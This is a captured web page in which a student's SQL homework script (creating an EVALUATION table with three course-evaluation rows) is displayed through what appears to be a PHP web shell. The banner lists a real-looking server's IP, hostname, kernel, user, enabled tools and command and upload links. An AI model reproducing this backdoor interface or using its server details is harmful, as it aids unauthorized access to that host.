|
Server IP : 172.16.15.8 / Your IP : 3.145.63.131 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/vgmiller/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--
Author: Valerie Miller
Instructor: Dr.Wang
File Name: evaluation.sql
Due Date: April 24, 2018
Goal: To make a script that will create the EVALUATION table
and insert 3 records into the table.
-->
create table EVALUATION (GENDER varchar(7), GRADE varchar(10), COURSE varchar(7), LECT_PREP int(11), STU_PART int(11), OVERALL int(11));
insert into EVALUATION values ("female", "sophomore", "CS330", 2, 1, 2);
insert into EVALUATION values ("male", "senior","COMM385", 2, 3, 3);
insert into EVALUATION values ("female", "junior", "MATH205", 3, 1, 2);
select * from EVALUATION;